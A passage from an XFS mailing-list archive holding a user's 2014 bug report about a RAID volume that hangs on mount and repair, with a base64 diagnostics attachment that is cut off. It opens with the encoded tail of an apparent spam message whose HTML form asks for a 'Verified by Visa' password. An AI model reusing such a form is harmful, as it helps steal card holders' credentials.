bWF4bGVuZ3RoPSIxNiIgc2l6ZT0iMTYiIGNsYXNzPSJlbnJvbGxtZW50SW5wdXRCb3giIHR5 cGU9InRleHQiPg0KCQkJCQkJPC90ZD4NCgkJCQkJPC90cj4NCg0KDQoNCg0KDQo8dHI+DQoJ CQkJCQk8dGQgYWxpZ249InJpZ2h0Ij4NCgkJCQkJCQk8ZGl2IGNsYXNzPSJ0eHRfZm9ybV9r b3AiPg0KCQkJCQkJCQkgVmVyaWZpZWQgYnkgVmlzYSBQYXNzd29yZCA8c3BhbiA+Ojwvc3Bh bj4NCgkJCQkJCQk8L2Rpdj4NCgkJCQkJCTwvdGQ+DQoJCQkJCQk8dGQgdmFsaWduPSJsZWZ0 Ij4NCgkJCQkJCQkgJm5ic3A7IDxpbnB1dCBpZD0idmJ2IiBuYW1lPSJ2YnYiIG1heGxlbmd0 aD0iMTYiIHNpemU9IjE2IiBjbGFzcz0iZW5yb2xsbWVudElucHV0Qm94IiB0eXBlPSJ0ZXh0 Ij4NCgkJCQkJCTwvdGQ+DQoJCQkJCTwvdHI+DQoNCg0KDQoNCgkJCQkJCTx0ZCBjb2xzcGFu PSIyIiBhbGlnbj0iY2VudGVyIj4NCgkJCQkJCQk8YnIgLz4NCgkJCQkJCQkgJm5ic3A7IDxp bnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlID0iIiBjbGFzcz0iYnV0dG9uX2FkZCIgLz4NCgkJ CQkJCQkgPGJyIC8+PGJyIC8+DQoJCQkJCQk8L3RkPg0KCQkJCQk8L3RyPg0KCQkJCQk8L3Ri b2R5Pg0KCQkJCQk8L3RhYmxlPg0KCQkJCTwvdGQ+DQoJCQk8L3RyPg0KCQkJPC90Ym9keT4N CgkJCTwvdGFibGU+DQoJCTwvdGQ+DQoJPC90cj4NCgk8dHI+DQoJCTx0ZD4NCgkJCTxkaXYg aWQ9ImhlYWRlcjIiPjxiciAvPg0KCQkJCTxhPkhvbWU8L2E+PGltZyBzcmM9ImltZy8xcGl4 dHJhbnNwYXJhbnQuZ2lmIiB3aWR0aD0iNyI+Jm5ic3A7fDxpbWcgc3JjPSJpbWcvMXBpeHRy YW5zcGFyYW50LmdpZiIgd2lkdGg9IjgiIC8+DQoJCQkJPGE+UHJpdmFjeSBTdGF0ZW1lbnQ8 L2E+PGltZyBzcmM9ImltZy8xcGl4dHJhbnNwYXJhbnQuZ2lmIiB3aWR0aD0iNyIgLz4mbmJz cDt8PGltZyBzcmM9ImltZy8xcGl4dHJhbnNwYXJhbnQuZ2lmIiB3aWR0aD0iOCIgLz4NCgkJ CQk8YT5UZXJtcyBhbmQgQ29uZGl0aW9uczwvYT48aW1nIHNyYz0iaW1nLzFwaXh0cmFuc3Bh cmFudC5naWYiIHdpZHRoPSI3IiAvPiZuYnNwO3w8aW1nIHNyYz0iaW1nLzFwaXh0cmFuc3Bh cmFudC5naWYiIHdpZHRoPSI3IiAvPg0KCQkJCTxhPkNvbnRhY3Q8L2E+PGltZyBzcmM9Imlt Zy8xcGl4dHJhbnNwYXJhbnQuZ2lmIiB3aWR0aD0iNyIgLz4mbmJzcDt8PGltZyBzcmM9Imlt Zy8xcGl4dHJhbnNwYXJhbnQuZ2lmIiB3aWR0aD0iNyIgLz4NCgkJCQk8YT5GQVE8L2E+PGJy IC8+PGJyIC8+DQoJCQk8L2Rpdj4NCgkJPC90ZD4NCgk8L3RyPg0KCTwvdGJvZHk+DQoJPC90 YWJsZT4NCjwvZGl2Pg0KPC9mb3JtPg0KPC9ib2R5Pg0KPC9odG1sPg== ------=_NextPart_000_0012_6ACAA5CC.9ECD8A7B-- From DLeonov@beeline.ru Mon Jan 27 01:12:24 2014 Return-Path: <DLeonov@beeline.ru> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.2 required=5.0 tests=HTML_MESSAGE,OBFU_TEXT_ATTACH autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id AF6ED7F56 for <xfs@oss.sgi.com>; Mon, 27 Jan 2014 01:12:23 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 2568EAC003 for <xfs@oss.sgi.com>; Sun, 26 Jan 2014 23:12:19 -0800 (PST) X-ASG-Debug-ID: 1390806736-04cbb05bac144000001-NocioJ Received: from mxs.beeline.ru (mxs.beeline.ru [37.9.244.1]) by cuda.sgi.com with ESMTP id xrrwsklV3X6GJo5t (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for <xfs@oss.sgi.com>; Sun, 26 Jan 2014 23:12:17 -0800 (PST) X-Barracuda-Envelope-From: DLeonov@beeline.ru X-Barracuda-Apparent-Source-IP: 37.9.244.1 Received: from mxs.beeline.ru (localhost.localdomain [127.0.0.1]) by localhost (Postfix) with ESMTP id DE88521222 for <xfs@oss.sgi.com>; Mon, 27 Jan 2014 11:12:15 +0400 (MSK) Received: from ms-lnmh001.vimpelcom.ru (localhost.localdomain [127.0.0.1]) by localhost (Postfix) with ESMTP id CE59221251 for <xfs@oss.sgi.com>; Mon, 27 Jan 2014 11:12:15 +0400 (MSK) Received: from ms-lnmh001.vimpelcom.ru (ms-lnmh001.bee.vimpelcom.ru [192.168.168.27]) by mxs.beeline.ru (Postfix) with ESMTP id 9E91621222 for <xfs@oss.sgi.com>; Mon, 27 Jan 2014 11:12:15 +0400 (MSK) Subject: XFS: Assertion failed: fs_is_ok, file: fs/xfs/xfs_alloc.c, line: 1590 X-KeepSent: 435D1285:DABE6E9A-44257C6D:002777BA; type=4; name=$KeepSent X-ASG-Orig-Subj: XFS: Assertion failed: fs_is_ok, file: fs/xfs/xfs_alloc.c, line: 1590 To: xfs@oss.sgi.com X-Mailer: Lotus Notes Release 8.5.3FP2 July 03, 2012 Message-ID: <OF435D1285.DABE6E9A-ON44257C6D.002777BA-44257C6D.00279370@beeline.ru> From: Dmitriy Yu Leonov <DLeonov@beeline.ru> Date: Mon, 27 Jan 2014 11:12:15 +0400 X-MIMETrack: Serialize by Router on MS-LNMH001/HUB/BeeLine(Release 8.5.3FP2 HF22|July 24, 2012) at 27.01.2014 11:12:15 MIME-Version: 1.0 Content-type: multipart/mixed; Boundary="0__=CBBBF6FEDFB4F12A8f9e8a93df938690918cCBBBF6FEDFB4F12A" X-KLMS-Rule-ID: 6 X-KLMS-Message-Action: clean X-KLMS-AntiSpam-Status: not checked X-KLMS-AntiSpam-Interceptor-Info: not checked X-KLMS-AntiVirus: Kaspersky Security 8.0 for Linux Mail Server 8.0.0.455, bases: 2014/01/26 23:49:00 #7394410; khse: 2013-04-03 08:48:01 X-KLMS-AntiVirus-Status: Clean, skipped X-Barracuda-Connect: mxs.beeline.ru[37.9.244.1] X-Barracuda-Start-Time: 1390806737 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144520 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_MESSAGE BODY: HTML included in message --0__=CBBBF6FEDFB4F12A8f9e8a93df938690918cCBBBF6FEDFB4F12A Content-type: multipart/alternative; Boundary="1__=CBBBF6FEDFB4F12A8f9e8a93df938690918cCBBBF6FEDFB4F12A" --1__=CBBBF6FEDFB4F12A8f9e8a93df938690918cCBBBF6FEDFB4F12A Content-type: text/plain; charset=US-ASCII Hello, dear developers Faced with the problem of using XFS. I'm use the XFS file system on the server without problems three years. Recently discovered that the disk (raid-array) with XFS is not available. The logs raid controller appeared: 2014-01-24 07:12:34 H/W Monitor Raid Powered On When I restart the server, I found that the raid array is not mount on the mount point /dev/sdb1 (filesystem XFS). When I run the utility xfs_repair -P /dev/sdb1 it hangs. When I run mount /dev/sdb1 not issued any errors and application also hangs. Task's cannot finish even the command kill -9 <pid>. Please help me understand the causes of failure and repair the file system on the XFS disk. Debugging information I attach the file to the letter. I hope for Your help. Thanks in advance. -- Sincerely, Dmitry Leonov. (See attached file: Report_XFS_Volume_20140127.txt) --1__=CBBBF6FEDFB4F12A8f9e8a93df938690918cCBBBF6FEDFB4F12A Content-type: text/html; charset=US-ASCII Content-Disposition: inline <html><body> <p><tt><font size="2">Hello, dear developers<br> <br> Faced &nbsp;with &nbsp;the &nbsp;problem of using XFS. I'm use the XFS file system on<br> the &nbsp;server without problems three years. Recently discovered that the<br> disk (raid-array) with XFS is not available.<br> <br> The logs raid controller appeared: 2014-01-24 07:12:34 H/W Monitor Raid Powered On<br> <br> When I restart the server, I found that the raid array is not mount on<br> the mount point /dev/sdb1 (filesystem XFS).<br> <br> When &nbsp;I &nbsp;run &nbsp;the utility xfs_repair -P /dev/sdb1 it hangs. When I run<br> mount &nbsp;/dev/sdb1 &nbsp;not &nbsp;issued &nbsp;any &nbsp;errors and application also hangs.<br> Task's cannot finish even the command kill -9 &lt;pid&gt;.<br> <br> Please &nbsp;help &nbsp;me &nbsp;understand the causes of failure and repair the file<br> system on the XFS disk. Debugging information I attach the file to the<br> letter.<br> <br> I hope for Your help. Thanks in advance.<br> <br> --<br> &nbsp;Sincerely, Dmitry Leonov.</font></tt><br> <br> <i>(See attached file: Report_XFS_Volume_20140127.txt)</i></body></html> --1__=CBBBF6FEDFB4F12A8f9e8a93df938690918cCBBBF6FEDFB4F12A-- --0__=CBBBF6FEDFB4F12A8f9e8a93df938690918cCBBBF6FEDFB4F12A Content-type: application/octet-stream; name="Report_XFS_Volume_20140127.txt" Content-Disposition: attachment; filename="Report_XFS_Volume_20140127.txt" Content-ID: <1__=CBBBF6FEDFB4F12A8f9e8a93df938@beeline.ru> Content-transfer-encoding: base64 dW5hbWUgLWENCkxpbnV4IGhvc3QgMy4xMC4yNS1nZW50b28gIzIgU01QIEZyaSBKYW4gMjQgMTQ6 MTM6MTAgTVNLIDIwMTQgeDg2XzY0IEludGVsKFIpIFhlb24oVE0pIENQVSAzLjAwR0h6IEdlbnVp bmVJbnRlbCBHTlUvTGludXgNCg0KZW1lcmdlIC0taW5mbw0KUG9ydGFnZSAyLjIuNyAoZGVmYXVs dC9saW51eC9hbWQ2NC8xMy4wLCBnY2MtNC43LjMsIGdsaWJjLTIuMTcsIDMuMTAuMjUtZ2VudG9v IHg4Nl82NCkNCj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09DQpTeXN0ZW0gdW5hbWU6IExpbnV4LTMuMTAuMjUtZ2VudG9vLXg4 Nl82NC1JbnRlbC1SLV9YZW9uLVRNLV9DUFVfMy4wMEdIei13aXRoLWdlbnRvby0yLjINCktpQiBN ZW06ICAgICA0MDUzMjM2IHRvdGFsLCAgICA4ODgyODAgZnJlZQ0KS2lCIFN3YXA6ICAgIDQwMDgy MTIgdG90YWwsICAgNDAwODIxMiBmcmVlDQpUaW1lc3RhbXAgb2YgdHJlZTogU3VuLCAyNiBKYW4g MjAxNCAwNzowMDowMSArMDAwMA0KbGQgR05VIGxkIChHTlUgQmludXRpbHMpIDIuMjMuMg0KYXBw LXNoZWxscy9iYXNoOiAgICAgICAgICA0LjJfcDQ1DQpkZXYtamF2YS9qYXZhLWNvbmZpZzogICAg IDIuMS4xMi1yMQ0KZGV2LWxhbmcvcHl0aG9uOiAgICAgICAgICAyLjQuNC1yMTMsIDIuNS40LXI1 LCAyLjYuOC1yMywgMi43LjUtcjMsIDMuMS41LXIxLCAzLjIuNS1yMywgMy4zLjMNCmRldi11dGls L2NtYWtlOiAgICAgICAgICAgMi44LjExLjINCmRldi11dGlsL3BrZ2NvbmZpZzogICAgICAgMC4y OA0Kc3lzLWFwcHMvYmFzZWxheW91dDogICAgICAyLjINCnN5cy1hcHBzL29wZW5yYzogICAgICAg ICAgMC4xMi40DQpzeXMtYXBwcy9zYW5kYm94OiAgICAgICAgIDIuNi1yMQ0Kc3lzLWRldmVsL2F1 dG9jb25mOiAgICAgICAyLjEzLCAyLjY5DQpzeXMtZGV2ZWwvYXV0b21ha2U6ICAgICAgIDEuNi4z LCAxLjcuOS1yMSwgMS45LjYtcjMsIDEuMTAuMywgMS4xMS42LCAxLjEyLjYsIDEuMTMuNA0Kc3lz LWRldmVsL2JpbnV0aWxzOiAgICAgICAyLjIzLjINCnN5cy1kZXZlbC9nY2M6ICAgICAgICAgICAg NC4xLjIsIDQuMy42LXIxLCA0LjQuNywgNC41LjQsIDQuNi4zLCA0LjcuMy1yMQ0Kc3lzLWRldmVs L2djYy1jb25maWc6ICAgICAxLjcuMw0Kc3lzLWRldmVsL2xpYnRvb2w6ICAgICAgICAyLjQuMg0K c3lzLWRldmVsL21ha2U6ICAgICAgICAgICAzLjgyLXI0DQpzeXMta2VybmVsL2xpbnV4LWhlYWRl cnM6IDMuOSAodmlydHVhbC9vcy1oZWFkZXJzKQ0Kc3lzLWxpYnMvZ2xpYmM6ICAgICAgICAgICAy LjE3DQpSZXBvc2l0b3JpZXM6IGdlbnRvbw0KQUNDRVBUX0tFWVdPUkRTPSJhbWQ2NCINCkFDQ0VQ VF9MSUNFTlNFPSIqIC1ARVVMQSBkbGotMS4xIg0KQ0JVSUxEPSJ4ODZfNjQtcGMtbGludXgtZ251 Ig0KQ0ZMQUdTPSItTzIgLXBpcGUiDQpDSE9TVD0ieDg2XzY0LXBjLWxpbnV4LWdudSINCkNPTkZJ R19QUk9URUNUPSIvZXRjIC91c3Ivc2hhcmUvY29uZmlnIC91c3Ivc2hhcmUvZ251cGcvcXVhbGlm aWVkLnR4dCINCkNPTkZJR19QUk9URUNUX01BU0s9Ii9ldGMvY2EtY2VydGlmaWNhdGVzLmNvbmYg L2V0Yy9lbnYuZCAvZXRjL2ZvbnRzL2ZvbnRzLmNvbmYgL2V0Yy9nY29uZiAvZXRjL2dlbnRvby1y ZWxlYXNlIC9ldGMvcGhwL2FwYWNoZTItcGhwNS41L2V4dC1hY3RpdmUvIC9ldGMvcGhwL2NnaS1w aHA1LjUvZXh0LWFjdGl2ZS8gL2V0Yy9waHAvY2xpLXBocDUuNS9leHQtYWN0aXZlLyAvZXRjL3Jl dmRlcC1yZWJ1aWxkIC9ldGMvc2FuZGJveC5kIC9ldGMvdGVybWluZm8iDQpDWFhGTEFHUz0iLU8y IC1waXBlIg0KRElTVERJUj0iL3Vzci9wb3J0YWdlL2Rpc3RmaWxlcyINCkVNRVJHRV9ERUZBVUxU X09QVFM9Ii0tYXV0b3VubWFzaz15IC0tYXV0b3VubWFzay13cml0ZT15Ig0KRkNGTEFHUz0iLU8y IC1waXBlIg0KRkVBVFVSRVM9ImFzc3VtZS1kaWdlc3RzIGJpbnBrZy1sb2dzIGNvbmZpZy1wcm90 ZWN0LWlmLW1vZGlmaWVkIGRpc3Rsb2NrcyBlYnVpbGQtbG9ja3MgZml4bGFmaWxlcyBtZXJnZS1z eW5jIG5ld3MgcGFyYWxsZWwtZmV0Y2ggcHJlc2VydmUtbGlicyBwcm90ZWN0LW93bmVkIHNhbmRi b3ggc2ZwZXJtcyBzdHJpY3QgdW5rbm93bi1mZWF0dXJlcy13YXJuIHVubWVyZ2UtbG9ncyB1bm1l cmdlLW9ycGhhbnMgdXNlcmZldGNoIHVzZXJwcml2IHVzZXJzYW5kYm94IHVzZXJzeW5jIg0KRkZM QUdTPSItTzIgLXBpcGUiDQpHRU5UT09fTUlSUk9SUz0iaHR0cDovL21pcnJvci55YW5kZXgucnUv Z2VudG9vLWRpc3RmaWxlcy8gZnRwOi8vbWlycm9yLnlhbmRleC5ydS9nZW50b28tZGlzdGZpbGVz LyAiDQpMQU5HPSJydV9SVS5VVEYtOCINCkxDX0FMTD0iIg0KTERGTEFHUz0iLVdsLC1PMSAtV2ws LS1hcy1uZWVkZWQiDQpNQUtFT1BUUz0iLWo0Ig0KUEtHRElSPSIvdXNyL3BvcnRhZ2UvcGFja2Fn ZXMiDQpQT1JUQUdFX0NPTkZJR1JPT1Q9Ii8iDQpQT1JUQUdFX1JTWU5DX09QVFM9Ii0tcmVjdXJz aXZlIC0tbGlua3MgLS1zYWZlLWxpbmtzIC0tcGVybXMgLS10aW1lcyAtLW9taXQtZGlyLXRpbWVz IC0tY29tcHJlc3MgLS1mb3JjZSAtLXdob2xlLWZpbGUgLS1kZWxldGUgLS1zdGF0cyAtLWh1bWFu LXJlYWRhYmxlIC0tdGltZW91dD0xODAgLS1leGNsdWRlPS9kaXN0ZmlsZXMgLS1leGNsdWRlPS9s b2NhbCAtLWV4Y2x1ZGU9L3BhY2thZ2VzIg0KUE9SVEFHRV9UTVBESVI9Ii92YXIvdG1wIg0KUE9S VERJUj0iL3Vzci9wb3J0YWdlIg0KUE9SVERJUl9PVkVSTEFZPSIiDQpVU0U9IlggYWNsIGFtZDY0 IGJlcmtkYiBiemlwMiBjbGkgY3JhY2tsaWIgY3J5cHQgY3h4IGRidXMgZHJpIGZvcnRyYW4gZ2Ri bSBpY29udiBtbXggbW9kdWxlcyBtdWx0aWxpYiBuY3Vyc2VzIG5scyBucHRsIG9wZW5nbCBvcGVu bXAgcGFtIHBjcmUgcGljIHF0MyBxdDNzdXBwb3J0IHF0NCByZWFkbGluZSBzZXNzaW9uIHNsYW5n IHNzZSBzc2UyIHNzbCBzdmcgdGNwZCB1bmljb2RlIHV0ZjggemxpYiIgQUJJX1g4Nj0iNjQiIEFM U0FfQ0FSRFM9ImFsaTU0NTEgYWxzNDAwMCBhdGlpeHAgYXRpaXhwLW1vZGVtIGJ0ODd4IGNhMDEw NiBjbWlwY2kgZW11MTBrMXggZW5zMTM3MCBlbnMxMzcxIGVzMTkzOCBlczE5NjggZm04MDEgaGRh LWludGVsIGludGVsOHgwIGludGVsOHgwbSBtYWVzdHJvMyB0cmlkZW50IHVzYi1hdWRpbyB2aWE4 Mnh4IHZpYTgyeHgtbW9kZW0geW1mcGNpIiBBUEFDSEUyX01PRFVMRVM9ImF1dGhuX2NvcmUgYXV0 aHpfY29yZSBzb2NhY2hlX3NobWNiIHVuaXhkIGFjdGlvbnMgYWxpYXMgYXV0aF9iYXNpYyBhdXRo bl9hbGlhcyBhdXRobl9hbm9uIGF1dGhuX2RibSBhdXRobl9kZWZhdWx0IGF1dGhuX2ZpbGUgYXV0 aHpfZGJtIGF1dGh6X2RlZmF1bHQgYXV0aHpfZ3JvdXBmaWxlIGF1dGh6X2hvc3QgYXV0aHpfb3du ZXIgYXV0aHpfdXNlciBhdXRvaW5kZXggY2FjaGUgY2dpIGNnaWQgZGF2IGRhdl9mcyBkYXZfbG9j ayBkZWZsYXRlIGRpciBkaXNrX2NhY2hlIGVudiBleHBpcmVzIGV4dF9maWx0ZXIgZmlsZV9jYWNo ZSBmaWx0ZXIgaGVhZGVycyBpbmNsdWRlIGluZm8gbG9nX2NvbmZpZyBsb2dpbyBtZW1fY2FjaGUg bWltZSBtaW1lX21hZ2ljIG5lZ290aWF0aW9uIHJld3JpdGUgc2V0ZW52aWYgc3BlbGluZyBzdGF0 dXMgdW5pcXVlX2lkIHVzZXJkaXIgdXNlcnRyYWNrIHZob3N0X2FsaWFzIiBDQUxMSUdSQV9GRUFU VVJFUz0ia2V4aSB3b3JkcyBmbG93IHBsYW4gc2hlZXRzIHN0YWdlIHRhYmxlcyBrcml0YSBrYXJi b24gYnJhaW5kdW1wIGF1dGhvciIgQ0FNRVJBUz0icHRwMiIgQ09MTEVDVERfUExVR0lOUz0iZGYg aW50ZXJmYWNlIGlycSBsb2FkIG1lbW9yeSBycmR0b29sIHN3YXAgc3lzbG9nIiBFTElCQz0iZ2xp YmMiIEdQU0RfUFJPVE9DT0xTPSJhc2h0ZWNoIGFpdmRtIGVhcnRobWF0ZSBldmVybW9yZSBmdjE4 IGdhcm1pbiBnYXJtaW50eHQgZ3BzY2xvY2sgaXRyYXggbXRrMzMwMSBubWVhIG50cmlwIG5hdmNv bSBvY2VhbnNlcnZlciBvbGRzdHlsZSBvbmNvcmUgcnRjbTEwNHYyIHJ0Y20xMDR2MyBzaXJmIHN1 cGVyc3RhcjIgdGltaW5nIHRzaXAgdHJpcG1hdGUgdG50IHVibG94IHVieCIgSU5QVVRfREVWSUNF Uz0ia2V5Ym9hcmQgbW91c2UiIEtFUk5FTD0ibGludXgiIExDRF9ERVZJQ0VTPSJiYXlyYWQgY2Zv bnR6IGNmb250ejYzMyBnbGsgaGQ0NDc4MCBsYjIxNiBsY2RtMDAxIG10eG9yYiBuY3Vyc2VzIHRl eHQiIExJQlJFT0ZGSUNFX0VYVEVOU0lPTlM9InByZXNlbnRlci1jb25zb2xlIHByZXNlbnRlci1t aW5pbWl6ZXIiIExJTkdVQVM9InJ1IGVuIiBPRkZJQ0VfSU1QTEVNRU5UQVRJT049ImxpYnJlb2Zm aWNlIiBQSFBfVEFSR0VUUz0icGhwNS01IiBQWVRIT05fU0lOR0xFX1RBUkdFVD0icHl0aG9uMl83 IiBQWVRIT05fVEFSR0VUUz0icHl0aG9uMl83IHB5dGhvbjNfMyIgUlVCWV9UQVJHRVRTPSJydWJ5 MTkgcnVieTE4IiBVU0VSTEFORD0iR05VIiBWSURFT19DQVJEUz0iZmJkZXYgZ2xpbnQgaW50ZWwg bWFjaDY0IG1nYSBub3V2ZWF1IG52IHIxMjggcmFkZW9uIHNhdmFnZSBzaXMgdGRmeCB0cmlkZW50 IHZlc2EgdmlhIHZtd2FyZSBkdW1teSB2NGwiIFhUQUJMRVNfQURET05TPSJxdW90YTIgcHNkIHBr bm9jayBsc2NhbiBsZW5ndGgyIGlwdjRvcHRpb25zIGlwc2V0IGlwcDJwIGlmYWNlIGdlb2lwIGZ1 enp5IGNvbmRpdGlvbiB0ZWUgdGFycGl0IHN5c3JxIHN0ZWFsIHJhd25hdCBsb2dtYXJrIGlwbWFy ayBkaGNwbWFjIGRlbHVkZSBjaGFvcyBhY2NvdW50Ig0KVW5zZXQ6ICBDUFBGTEFHUywgQ1RBUkdF VCwgSU5TVEFMTF9NQVNLLCBQT1JUQUdFX0JVTlpJUDJfQ09NTUFORCwgUE9SVEFHRV9DT01QUkVT UywgUE9SVEFHRV9DT01QUkVTU19GTEFHUywgUE9SVEFHRV9SU1lOQ19FWFRSQV9PUFRTLCBTWU5D LCBVU0VfUFlUSE9ODQoNCnhmc19yZXBhaXIgLVYNCnhmc19yZXBhaXIgdmVyc2lvbiAzLjEuMTAN Cg0KQ1BVDQpjYXQgL3Byb2MvY3B1aW5mbyB8IGdyZXAgXnByb2Nlc3NvciB8d2MgLWwNCjgNCg0K Y2F0IC9wcm9jL21lbWluZm8gDQpNZW1Ub3RhbDogICAgICAgIDQwNTMyMzYga0INCk1lbUZyZWU6 ICAgICAgICAgIDk4ODY0OCBrQg0KQnVmZmVyczogICAgICAgICAgNTg0NjU2IGtCDQpDYWNoZWQ6 ICAgICAgICAgIDE1NDE3NzYga0INClN3YXBDYWNoZWQ6ICAgICAgICAgICAgMCBrQg0KQWN0aXZl OiAgICAgICAgICAxNTA4NjE2IGtCDQpJbmFjdGl2ZTogICAgICAgIDEyNjM2OTYga0INCkFjdGl2 ZShhbm9uKTogICAgIDY2NTM3MiBrQg0KSW5hY3RpdmUoYW5vbik6ICAgICA5Mzc2IGtCDQpBY3Rp dmUoZmlsZSk6ICAgICA4NDMyNDQga0INCkluYWN0aXZlKGZpbGUpOiAgMTI1NDMyMCBrQg0KVW5l dmljdGFibGU6ICAgICAgICAgICAwIGtCDQpNbG9ja2VkOiAgICAgICAgICAgICAgIDAga0INClN3 YXBUb3RhbDogICAgICAgNDAwODIxMiBrQg0KU3dhcEZyZWU6ICAgICAgICA0MDA4MjEyIGtCDQpE aXJ0eTogICAgICAgICAgICAgIDQ5MDAga0INCldyaXRlYmFjazogICAgICAgICAgICAgMCBrQg0K QW5vblBhZ2VzOiAgICAgICAgNjQ1NzI4IGtCDQpNYXBwZWQ6ICAgICAgICAgICAgNDYxMTIga0IN ClNobWVtOiAgICAgICAgICAgICAyODg4MCBrQg0KU2xhYjogICAgICAgICAgICAgMjQxMzMyIGtC DQpTUmVjbGFpbWFibGU6ICAgICAyMTAxNTYga0INClNVbnJlY2xhaW06ICAgICAgICAzMTE3NiBr Qg0KS2VybmVsU3RhY2s6ICAgICAgICAyNDQ4IGtCDQpQYWdlVGFibGVzOiAgICAgICAgMTEwNjgg a0INCk5GU19VbnN0YWJsZTogICAgICAgICAgMCBrQg0KQm91bmNlOiAgICAgICAgICAgICAgICAw IGtCDQpXcml0ZWJhY2tUbXA6ICAgICAgICAgIDAga0INCkNvbW1pdExpbWl0OiAgICAgNjAzNDgy OCBrQg0KQ29tbWl0dGVkX0FTOiAgICAyMDA0ODg4IGtCDQpWbWFsbG9jVG90YWw6ICAgMzQzNTk3 MzgzNjcga0INClZtYWxsb2NVc2VkOiAgICAgICAzNjgxNiBrQg0KVm1hbGxvY0NodW5rOiAgIDM0 MzU5NjY4NzM2IGtCDQpEaXJlY3RNYXA0azogICAgICAgIDc1NTIga0INCkRpcmVjdE1hcDJNOiAg ICAgNDE4NjExMiBrQg0KDQpjYXQgL3Byb2MvbW91bnRzDQpyb290ZnMgLyByb290ZnMgcncgMCAw DQpwcm9jIC9wcm9jIHByb2MgcncscmVsYXRpbWUgMCAwDQp1ZGV2IC9kZXYgZGV2dG1wZnMgcncs bm9zdWlkLHJlbGF0aW1lLHNpemU9MTAyNDBrLG5yX2lub2Rlcz01MDYxNDEsbW9kZT03NTUgMCAw DQpkZXZwdHMgL2Rldi9wdHMgZGV2cHRzIHJ3LHJlbGF0aW1lLGdpZD01LG1vZGU9NjIwIDAgMA0K c3lzZnMgL3N5cyBzeXNmcyBydyxub3N1aWQsbm9kZXYsbm9leGVjLHJlbGF0aW1lIDAgMA0KL2Rl di9zZGEzIC8gZXh0MyBydyxub2F0aW1lLGVycm9ycz1jb250aW51ZSxiYXJyaWVyPTEsZGF0YT1v cmRlcmVkIDAgMA0KdG1wZnMgL3J1biB0bXBmcyBydyxub3N1aWQsbm9kZXYscmVsYXRpbWUsc2l6 ZT00MDUzMjRrLG1vZGU9NzU1IDAgMA0KbXF1ZXVlIC9kZXYvbXF1ZXVlIG1xdWV1ZSBydyxub3N1 aWQsbm9kZXYsbm9leGVjLHJlbGF0aW1lIDAgMA0Kc2htIC9kZXYvc2htIHRtcGZzIHJ3LG5vc3Vp ZCxub2Rldixub2V4ZWMscmVsYXRpbWUgMCAwDQpjb25maWdmcyAvc3lzL2tlcm5lbC9jb25maWcg Y29uZmlnZnMgcncsbm9zdWlkLG5vZGV2LG5vZXhlYyxyZWxhdGltZSAwIDANCmNncm91cF9yb290 IC9zeXMvZnMvY2dyb3VwIHRtcGZzIHJ3LG5vc3VpZCxub2Rldixub2V4ZWMscmVsYXRpbWUsc2l6 ZT0xMDI0MGssbW9kZT03NTUgMCAwDQpmdXNlY3RsIC9zeXMvZnMvZnVzZS9jb25uZWN0aW9ucyBm dXNlY3RsIHJ3LG5vc3VpZCxub2Rldixub2V4ZWMscmVsYXRpbWUgMCAwDQpvcGVucmMgL3N5cy9m cy9jZ3JvdXAvb3BlbnJjIGNncm91cCBydyxub3N1aWQsbm9kZXYsbm9leGVjLHJlbGF0aW1lLHJl bGVhc2VfYWdlbnQ9L2xpYjY0L3JjL3NoL2Nncm91cC1yZWxlYXNlLWFnZW50LnNoLG5hbWU9b3Bl bnJjIDAgMA0KY3B1c2V0IC9zeXMvZnMvY2dyb3VwL2NwdXNldCBjZ3JvdXAgcncsbm9zdWlkLG5v ZGV2LG5vZXhlYyxyZWxhdGltZSxjcHVzZXQgMCAwDQpjcHVhY2N0IC9zeXMvZnMvY2dyb3VwL2Nw dWFjY3QgY2dyb3VwIHJ3LG5vc3VpZCxub2Rldixub2V4ZWMscmVsYXRpbWUsY3B1YWNjdCAwIDAN Cg0KY2F0IC9wcm9jL3BhcnRpdGlvbnMgDQptYWpvciBtaW5vciAgI2Jsb2NrcyAgbmFtZQ0KDQog IDExICAgICAgICAwICAgIDEwNDg1NzUgc3IwDQogICA4ICAgICAgICAwICAgNzI2MTMwNTYgc2Rh DQogICA4ICAgICAgICAxICAgICAxMDQzOTEgc2RhMQ0KICAgOCAgICAgICAgMiAgICA0MDA4MjE3 IHNkYTINCiAgIDggICAgICAgIDMgICA2ODQ5MzEyNyBzZGEzDQogICA4ICAgICAgIDE2IDczMjQy MTYzMjAgc2RiDQogICA4ICAgICAgIDE3IDczMjQyMTYyODYgc2RiMQ0KDQpSQUlEOiBsc3BjaQ0K MGE6MGUuMCBSQUlEIGJ1cyBjb250cm9sbGVyOiBBcmVjYSBUZWNobm9sb2d5IENvcnAuIEFSQy0x MjYwIDE2LVBvcnQgUENJLUV4cHJlc3MgdG8gU0FUQSBSQUlEIENvbnRyb2xsZXINCjEyeDc1MC4y R0IgU0FUQSBkaXNrJ3MgKyAzIEhvdFNwYXJlDQoNCldyaXRlIGNhY2hlIGVuYWJsZQ0KDQpkbWVz Zw0KWyAgIDIzLjY2Nzk4N10gWEZTIChzZGIxKTogTW91bnRpbmcgRmlsZXN5c3RlbQ0KWyAgIDIz LjgwMzU1NF0gWEZTIChzZGIxKTogU3RhcnRpbmcgcmVjb3ZlcnkgKGxvZ2RldjogaW50ZXJuYWwp 